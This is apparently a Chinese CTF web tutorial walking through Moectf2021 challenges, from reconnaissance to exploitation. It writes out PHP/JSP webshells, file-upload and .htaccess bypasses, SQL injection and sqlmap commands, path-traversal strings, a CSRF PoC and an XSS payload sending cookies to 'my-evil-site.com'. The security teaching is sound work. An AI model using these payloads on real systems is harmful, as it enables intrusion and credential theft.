CTF Web入门实战:从信息搜集到漏洞利用的完整攻防路径

📅 2026/8/12 13:16:51
CTF Web入门实战:从信息搜集到漏洞利用的完整攻防路径
1. 从零开始的CTF Web入门以Moectf2021为例最近在整理过去的CTF学习笔记翻到了2021年参加Moectf时做Web题的一些记录。Moectf作为面向新手的CTF赛事其Web题目设计得非常友好覆盖了从基础到进阶的常见漏洞点是绝佳的Web安全入门实战材料。很多朋友刚开始接触CTF时面对五花八门的题目常常不知从何下手感觉知识点零散工具也不会用。其实Web安全的攻防思维是有清晰路径的而解题过程就是这条路径的最佳实践。今天我就以Moectf2021的几道典型Web题目为线串起一个新手从“看到题目一脸懵”到“独立分析找到flag”的完整思考与操作过程。这不仅是一份题解更是一份“渔具”制作指南希望能帮你建立起属于自己的解题方法论。Web安全的核心在我看来是“信任边界的探知与突破”。任何Web应用都在其设计逻辑中隐含了开发者对用户输入、权限、流程的“信任”。我们的任务就是找到这些信任假设中脆弱的部分并通过构造特定的输入或操作来打破它从而获取未授权的信息或权限。Moectf2021的题目正好循序渐进地展示了这一点。接下来我会挑选几道有代表性的题目详细拆解当时的解题思路、用到的工具、遇到的坑以及最终的绕过技巧。你会发现很多看似复杂的漏洞其原理和利用方式都出奇地简单。2. 信息搜集与前端基础无处不在的“提示”Web解题的第一步永远不是急着上漏洞扫描器而是耐心地做一个“侦探”搜集一切可见的信息。这包括网页源代码、网络请求、JavaScript文件、甚至注释和隐藏字段。Moectf2021有一道题非常直接地考察了这个基本功。题目通常是一个简单的登录页面或者展示页面。很多新手会下意识地去尝试SQL注入或者爆破密码但往往徒劳无功。我的习惯是拿到任何Web题目首先按下F12打开开发者工具。第一步看Elements元素面板仔细浏览HTML源码。开发者经常会把提示、甚至是flag的一部分藏在HTML注释里比如!-- flag is moectf{xxx_xxx} --。有时关键的JavaScript逻辑也会直接写在页面内分析它可能发现客户端验证的绕过点。第二步查看Network网络面板。刷新页面观察加载了哪些资源文件.js, .css, 图片。特别要关注那些名字特殊的文件比如admin.js,flag.php,robots.txt,.git/目录等。robots.txt文件可能会提示你哪些目录是禁止爬虫访问的这反而成了我们的“藏宝图”。如果发现.git目录可访问那么恭喜你可能可以通过git源码泄露工具还原出网站的全部源代码这往往是发现漏洞的捷径。第三步查看Sources源代码面板。这里能看到服务器返回的所有静态资源。有时flag会直接写在某个JavaScript文件的变量里或者以注释形式存在。另外要留意Console控制台面板有些题目会故意在这里输出调试信息或错误信息其中可能包含路径、参数名等线索。注意现代浏览器开发者工具功能强大除了上述面板Application应用面板里的Cookies、Local Storage、Session Storage也值得一看。有时身份认证令牌或状态信息就存储在这里。在实际操作中我遇到一道题页面看起来就是一个静态介绍页。按照上述步骤我在查看网络请求时发现除了主页面还加载了一个名为hint.js的文件。访问这个文件里面是一段混淆过的JavaScript代码。这时不需要慌可以尝试使用在线的JS反混淆工具或者仔细阅读发现它定义了一个函数将一串数字解码成了字符串那个字符串就是指向另一个隐藏页面的路径。访问该路径直接获得了flag。这道题考察的就是选手是否具备基础的“查看源代码”和“追踪资源”的意识。信息搜集阶段花费的十分钟可能直接省去后面几小时无谓的猜测和爆破。3. 初识代码审计与逻辑漏洞绕过“想当然”的验证在通过信息搜集找到后台入口或功能点后接下来常遇到的就是各种形式的验证。Moectf2021有几道题完美诠释了什么是“逻辑漏洞”。逻辑漏洞不同于SQL注入或XSS它不依赖于特定技术的解析错误而是程序业务流程设计上的缺陷。这类漏洞的发现更需要我们像用户一样去使用功能同时像攻击者一样去思考“如果我不按常理出牌会怎样”。典型的一道题是一个“兑换积分”的功能。页面显示你的积分是100兑换一个奖品需要150积分显然不够。通常思路是尝试修改前端传递的积分参数比如把points100改成points150。但提交后服务器返回“积分不足”。这说明服务端确实校验了积分。然而逻辑漏洞往往出现在多个步骤的衔接处。我注意到兑换流程是前端选择奖品 - 提交表单包含奖品ID和用户积分 - 后端校验并扣除积分 - 返回成功。这里的关键在于“扣除积分”和“返回成功”这两个操作是否是原子性的是否有可能在扣除积分前程序已经生成了兑换成功的响应题目通常不会这么简单。更常见的漏洞点是“重复提交”。如果在点击提交后快速连续点击多次或者使用Burp Suite这类工具拦截请求并重复发送可能会因为服务器处理并发请求时对积分校验和扣除的逻辑存在竞态条件导致只校验了一次积分却生成了多个兑换成功的记录。对于新手赛可能考察的是更简单的“负号”绕过尝试提交points-100如果服务器只是简单地将用户积分 所需积分进行判断那么-100 150显然不成立但如果程序逻辑是用户积分 - 所需积分然后判断用户积分 0那么100 - 150 -50结果小于0失败。但如果程序先完成兑换再更新积分并且更新积分时执行的是积分 积分 - 所需积分这里如果所需积分这个参数可控我们传入-150那么计算就变成了100 - (-150) 250积分不减反增这就是典型的“负负得正”逻辑漏洞。在实战中我遇到一道题是“购买VIP”功能。购买需要支付一定的金额。前端的价格是固定的但拦截请求后发现有一个price参数。尝试修改为0、0.01等小数值服务器返回“价格错误”。尝试修改为负数如-1服务器返回“支付成功您是VIP了”。这就是因为后端没有对价格参数进行有效的边界校验认为只要是数字就可以参与后续的“支付”逻辑而支付逻辑可能因为金额为负触发了某种异常处理流程直接赋予了VIP权限。解决这类问题的核心是不要信任前端传来的任何业务参数后端必须对金额、数量、状态等关键业务参数进行严格的正面校验白名单而不是简单的类型或范围检查。4. 文件上传漏洞的多种“变形计”文件上传是Web安全中经久不衰的话题也是Moectf等新手赛的必考点。它的基本原理很简单网站允许用户上传文件但如果对上传文件的类型、内容、路径检查不严攻击者就能上传恶意文件如Webshell从而获取服务器控制权。题目通常会设置一些障碍让我们绕过。4.1 前端JS验证绕过最简单的类型是前端JavaScript验证。页面上传时选择了一个.php文件立刻弹窗提示“只允许上传jpg/png图片”。这明显是前端验证。绕过方法极其简单直接禁用浏览器JavaScript在开发者工具设置里可以禁用或者使用Burp Suite拦截上传请求将文件名shell.php修改为shell.jpg进行上传然后在拦截的请求数据包里再把文件名改回shell.php。因为前端验证只在浏览器端生效一旦请求发出服务器接收到的才是真实数据。不过现在纯前端验证的题目很少了服务器端一般都有二次检查。4.2 服务端MIME类型与内容检查更常见的是服务端检查。通常检查两点Content-Type检查HTTP请求头中的Content-Type字段。上传图片时该字段通常是image/jpeg或image/png。如果服务器只检查这个我们只需用Burp Suite拦截请求将Content-Type修改为image/jpeg即可无论文件实际内容是什么。文件幻数Magic Number检查文件开头几个字节的特定值。例如JPEG文件开头是FF D8 FF E0PNG文件开头是89 50 4E 47。如果服务器检查这个我们需要在恶意代码如PHP的?php system($_GET[‘cmd’]);?前面添加正确的幻数。可以使用hexedit工具或者直接用echo命令组合文件echo -e ‘\xFF\xD8\xFF\xE0’ shell.jpg echo ‘?php eval($_POST[“cmd”]);?’ shell.jpg。这样文件既能通过幻数检查又因为其后缀是.jpg可能被服务器解析成PHP如果服务器配置不当。4.3 后缀名黑名单/白名单与解析漏洞这是文件上传的核心攻防点。黑名单绕过服务器禁止上传.php,.asp,.jsp等后缀。绕过方法有尝试其他可执行后缀.php5,.phtml,.phps,.php7等取决于服务器配置。利用大小写.Php,.PHP。利用Windows特性如果服务器是Windows在末尾加空格或点如shell.php.或shell.php实际保存时会被去掉。利用双写后缀shell.pphphp如果过滤逻辑是简单替换php为空则处理后变成shell.php。白名单绕过服务器只允许.jpg,.png,.gif。这更安全但仍有突破口配合文件包含漏洞这是经典组合拳。如果网站存在文件包含漏洞比如include($_GET[‘file’])我们可以先上传一个内容为PHP代码的图片马shell.jpg然后通过文件包含漏洞去包含这个图片如?file./uploads/shell.jpg服务器就会解析其中的PHP代码。.htaccess攻击针对Apache服务器如果能上传一个.htaccess文件且服务器允许其生效我们就可以控制解析规则。例如在.htaccess中写入AddType application/x-httpd-php .jpg那么之后上传的所有.jpg文件都会被当作PHP解析。解析漏洞特定服务器/版本的漏洞。如旧版IIS的目录名/文件名.asp;.jpg会被解析为ASP文件Nginx在特定配置下如果FastCGI对PATH_INFO的处理有问题test.jpg/.php可能会被解析为PHP。在Moectf2021中我遇到一道题是白名单校验只允许image/jpeg类型和.jpg后缀。我首先上传了一个正常的图片确认上传路径。然后我制作了一个图片马用copy命令Windows将一张正常图片和一个PHP webshell合并copy normal.jpg /b shell.php /a webshell.jpg。这样生成的webshell.jpg既能通过图片校验又包含了PHP代码。接下来就是寻找文件包含点。通过信息搜集发现有一个页面存在?pageabout这样的参数疑似本地文件包含。尝试?pagephp://filter/convert.base64-encode/resourceindex读取源码确认了存在文件包含。最终通过?page./uploads/webshell.jpg成功包含并执行了PHP代码拿到了flag。这道题综合了文件上传、文件包含和代码审计是典型的实战场景。5. SQL注入从手工探测到工具利用SQL注入是Web安全的基石也是CTF Web题的常客。Moectf2021的SQL注入题通常不会太难旨在让新手理解原理和基本流程。核心原理是用户输入被直接拼接到数据库查询语句中导致攻击者可以“注入”额外的SQL代码改变原查询意图。5.1 注入点探测与类型判断遇到一个可能有注入的点如登录框、搜索框、详情页ID参数第一步是探测。经典探测输入单引号‘观察页面是否报错数据库错误信息直接回显、页面内容是否异常空白、不同或响应时间是否变长。如果报错说明可能存在注入且错误信息可能暴露数据库类型如MySQL, PostgreSQL。布尔盲注探测输入1‘ and ‘1’‘1和1‘ and ‘1’‘2。如果第一个请求返回正常页面第二个返回异常或空白则很可能存在字符型注入。数字型参数则可能是id1 and 11和id1 and 12。时间盲注探测如果页面无论输入什么都一样可以尝试基于时间的判断。输入1‘ and sleep(5)--如果页面响应延迟了大约5秒说明存在时间盲注。--是注释符用于注释掉原SQL语句后面的部分。5.2 联合查询注入Union Inject这是最直接、信息获取效率最高的注入方式前提是页面会回显查询结果比如文章详情、用户列表。步骤通常如下确定字段数使用order by子句。?id1‘ order by 1--order by 2--order by 3--... 直到页面报错报错前的数字就是字段数。例如order by 4正常order by 5报错说明当前查询语句返回4列。确定回显位使用union select。构造?id-1‘ union select 1,2,3,4--。这里id-1是为了让前一个查询不返回结果从而使页面只显示我们union select的结果。观察页面中哪个位置显示了数字2、3等这些位置就是我们可以用来回显数据的地方。获取信息将回显位的数字替换成我们想查询的函数或语句。例如查数据库名union select 1,database(),3,4--查表名union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()--查某表的列名union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schemadatabase() and table_name‘users’--查数据union select 1,group_concat(username, ‘:’, password),3,4 from users--5.3 布尔盲注与时间盲注当页面没有直接回显但会根据查询结果的真假返回不同的页面状态布尔盲注或者没有任何状态变化但可以通过响应时间判断时间盲注时就需要用这两种更慢但有效的方法。其本质是“一问一答”通过构造SQL语句让数据库回答“是”或“否”。布尔盲注and length(database())1and length(database())2... 直到页面返回“正常”状态我们就知道数据库名长度。然后and substr(database(),1,1)‘a’and substr(database(),1,1)‘b’... 逐个字符猜解。这个过程极其繁琐必须借助工具。时间盲注and if(length(database())1,sleep(5),0)如果延迟5秒说明长度是1。同样字符猜解也是and if(substr(database(),1,1)‘a’,sleep(5),0)。对于盲注手工几乎不可能必须使用sqlmap这样的自动化工具。sqlmap -u “http://target.com/page?id1“ --techniqueB --dbs可以自动进行布尔盲注并枚举数据库。但作为学习理解其背后的if、substr、sleep等函数的运用至关重要。在Moectf的一道题中登录框存在注入。我首先输入admin‘页面返回了MySQL的语法错误信息确认了是MySQL数据库和字符型注入。尝试admin‘ and ‘1’‘1登录成功admin‘ and ‘1’‘2登录失败确认了布尔盲注。由于是登录场景联合查询可能不适用因为查询结果用于验证不回显。我使用sqlmap进行快速验证sqlmap -u “http://xxx/login“ --data“usernameadminpassword123“ --level3 --risk1 --techniqueB --dbs。很快sqlmap识别出注入点并跑出了数据库名、表名。最终在users表里找到了一个password字段其值看起来像flag格式提交即正确。这道题让我明白工具能极大提升效率但手工探测和理解原理是使用工具的基础。6. 客户端漏洞XSS与CSRF的浅尝辄止在Moectf这类入门赛中XSS跨站脚本攻击和CSRF跨站请求伪造的题目通常不会涉及复杂的绕过和利用更多的是考察对漏洞原理的直观理解。6.1 XSS弹个窗就算成功XSS的核心是“数据被当作代码执行”。题目可能会有一个留言板、搜索框或个人信息页我们的输入会被显示在页面上。最简单的测试就是输入scriptalert(‘xss’)/script看是否会弹出警告框。这被称为反射型XSSPayload在本次请求中立即执行。如果题目要求更严格可能会过滤script标签或onclick等事件。这时需要尝试一些基本的绕过大小写ScRiPtalert(1)/ScRiPt使用其他标签img src1 onerroralert(1)svg onloadalert(1)利用HTML实体编码的误解如果服务器只编码了和但属性值未过滤可以尝试“ onmouseoveralert(1) x”插入到已有的标签属性中。在Moectf中我遇到一道题是一个“笔记分享”功能分享后的笔记内容会显示在页面上。我输入了img src“#” onerror“location.href‘http://my-evil-site.com/steal?cookie’document.cookie”。提交后当管理员或模拟的bot查看这条笔记时其浏览器就会执行这段脚本将管理员的cookie发送到我的服务器。但题目通常不会设置这么复杂的利用环境往往只需要证明可以执行alert(1)即可获得flag。这类题目的意义在于让你理解不可信的数据在输出到HTML上下文时必须进行正确的转义或过滤。6.2 CSRF诱使他人点击链接CSRF的原理是“利用受害者的登录状态以其身份发起非本意的请求”。题目场景可能是有一个修改密码或转账的功能请求方法是GET或没有防CSRF令牌Token的POST。例如修改密码的请求是GET /change_password?new_passwordattacker123。那么攻击者只需要构造一个链接让已登录的用户点击其密码就会被修改。在CTF中题目可能会给你一个“向管理员举报问题”的功能让你提交一个URL。这时你就可以提交一个包含CSRF攻击代码的URL当管理员点击查看时就会触发一个以管理员身份发起的请求比如添加一个后台管理员账户。一个简单的PoC概念证明页面内容如下!DOCTYPE html html body img src“http://target-site.com/delete_account?id123” style“display:none;” h1你被骗了/h1 /body /html当受害者访问这个页面时浏览器会自动加载图片从而向target-site.com发起一个GET请求如果受害者已登录该站且该站没有其他防护那么id123的账户就可能被删除。在CTF中flag可能就在成功执行CSRF后返回的页面里。防御CSRF的常见方法是使用随机的CSRF Token每次表单提交都必须携带这个Token且Token与用户会话绑定攻击者无法预测。7. 服务端配置与协议安全隐藏在角落的“宝藏”除了应用层代码的漏洞服务器配置不当、默认文件、协议特性等也会导致安全问题。这类题目在CTF中往往能快速拿分考验的是知识面和经验。7.1 目录遍历与敏感文件泄露目录遍历Path Traversal参数中直接包含文件路径如?file../../../../etc/passwd。如果服务器没有过滤../就可能读取到系统敏感文件。有时需要编码绕过如..%2f..%2fURL编码或..\..\Windows。备份文件泄露常见的备份文件后缀有.bak,.swp,.swo,.old,.temp等。例如访问index.php.bak可能会下载到index.php的备份源码。vim编辑器在编辑文件时会生成.swp交换文件。版本控制信息泄露如前文提到的.git目录。如果网站根目录下存在.git文件夹且可访问可以使用GitHack等工具下载整个仓库源码里面可能包含数据库配置、未完成的代码、甚至硬编码的flag。配置文件泄露config.php,database.ini,.env,web.config等。探针文件phpinfo.php,test.php,info.php等可能泄露服务器路径、扩展、环境变量等敏感信息。7.2 HTTP协议相关漏洞HTTP方法滥用除了常见的GET和POST测试一下PUT、DELETE、OPTIONS等方法是否可用。如果服务器允许PUT方法且对上传路径没有限制可能可以直接上传Webshell。使用curl -X OPTIONS http://target.com/可以查看服务器支持的HTTP方法。Host头注入在某些情况下应用程序信任了HostHTTP头的内容并将其用于生成链接、重定向或密码重置邮件。攻击者可以篡改Host头将用户导向恶意网站或进行钓鱼攻击。CRLF注入如果用户输入被直接用于构造HTTP响应头可能注入\r\nCRLF来插入新的响应头甚至分割响应实现响应头注入或HTTP响应拆分攻击。在Moectf的一道题中网站有一个“查看文档”的功能参数是?docuser_guide.pdf。尝试?doc../../../../etc/passwd成功返回了系统文件内容确认存在目录遍历。但flag不在这里。继续尝试读取Web应用的源码?doc./index.php发现被过滤。尝试编码..%2f..%2f也被过滤。最后尝试双写绕过....//....//服务器可能将../替换为空那么....//处理后变成../成功绕过。最终通过遍历找到了一个名为flag_here.php的文件访问后获得flag。这道题考察了对路径遍历过滤规则的绕过思维。8. 综合实战与工具链效率与深度的平衡经过前面几类基础漏洞的学习我们已经有了初步的“武器库”。但在实际解题尤其是面对稍微复杂的题目时如何高效地组织攻击流程如何选择和使用工具就变得至关重要。这不仅仅是技术更是经验和思路。8.1 解题通用流程我个人的解题流程可以概括为“侦察 - 试探 - 深入 - 利用 - 提权如果需要”五个阶段但这在CTF中通常简化为前三步。侦察Reconnaissance人工浏览点击每一个链接提交每一个表单观察功能点、参数、响应。目录/文件扫描使用dirsearch、gobuster或ffuf工具配合常用字典如common.txt,directory-list-2.3-medium.txt寻找隐藏目录、备份文件、管理后台等。子域名枚举对于给定域名使用subfinder、amass或在线服务寻找其他子域可能发现不同的应用。端口扫描如果给的是IP地址使用nmap扫描开放端口除了80/443还要关注8080、8000、3000等常见Web端口以及21FTP、22SSH、3306MySQL等。试探Initial Access/Testing对每一个发现的参数GET/POST/Cookie进行基础的漏洞测试。SQLi手动加单引号、and 11测试快速用sqlmap跑一下。XSS输入scriptalert(1)/script和基本的标签属性。文件包含尝试?file../../etc/passwd或PHP伪协议php://filter/convert.base64-encode/resourceindex.php。命令/代码注入在疑似执行系统命令的地方如ping、执行代码的接口尝试; ls,| dir, whoami等。深入Exploitation一旦确认漏洞类型就使用更精准的Payload进行利用。SQL注入根据类型联合/布尔/时间/报错编写或使用工具获取数据。文件上传结合内容检查、后缀检查、解析漏洞制作合适的Webshell。反序列化如果发现serialize数据分析其结构尝试构造恶意反序列化链。模板注入SSTI如果发现{{7*7}}返回49则可能存在服务端模板注入进一步利用获取命令执行。8.2 必备工具与小技巧浏览器开发者工具你的眼睛和第一把手术刀。除了查看元素、网络请求Console可以执行JavaScriptSources可以下断点调试JSApplication可以修改Cookie和本地存储。Burp SuiteWeb安全测试的瑞士军刀。Repeater用于重放和修改请求Intruder用于爆破和模糊测试Scanner用于自动扫描漏洞社区版功能有限。设置好浏览器代理后所有流量尽在掌握。sqlmapSQL注入自动化神器。但切忌无脑跑。先手工确认存在注入的可能性再用sqlmap提高效率。常用参数--dbs枚举数据库--tables -D dbname枚举表--dump -D dbname -T tablename导出数据。dirsearch/gobuster/ffuf目录爆破工具。速度很快是发现隐藏入口的利器。编码/解码工具熟悉URL编码、HTML实体编码、Base64、十六进制等。浏览器的Console里可以用btoa/atob进行Base64编解码encodeURIComponent/decodeURIComponent进行URL编码。一句话Webshell准备几个常用的如PHP的?php eval($_POST[‘cmd’]);?JSP的% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %。上传成功后用中国菜刀、蚁剑或curl连接管理。8.3 心态与思维最后也是最重要的是解题心态。CTF Web题很多时候像解谜游戏。细心观察页面的每一个字、每一张图、每一个请求/响应头都可能是线索。大胆假设小心验证想到一个可能的漏洞点就去构造Payload测试。不要怕错测试是唯一的验证方式。利用搜索引擎和文档遇到不熟悉的函数、协议、技术立刻去查。CTF考察的很多是已知漏洞的利用。团队协作如果是团队赛及时沟通思路互相验证可以避免思维盲区。从出题人角度思考这道题想考什么知识点常见的考点有哪些这个功能点最可能隐藏什么漏洞回顾Moectf2021的Web题目它们就像一个个精心设计的教学关卡将Web安全的常见漏洞点拆解开来让我们在实战中理解原理、掌握工具、培养思维。真正的Web安全远比CTF题目复杂但通过这些基础训练建立起来的“攻防直觉”和“方法论”是走向更广阔天地的第一步。希望这份结合了具体题目的复盘能帮你把零散的知识点串联起来下次再看到Web题目时能更有章法地开始你的“狩猎”。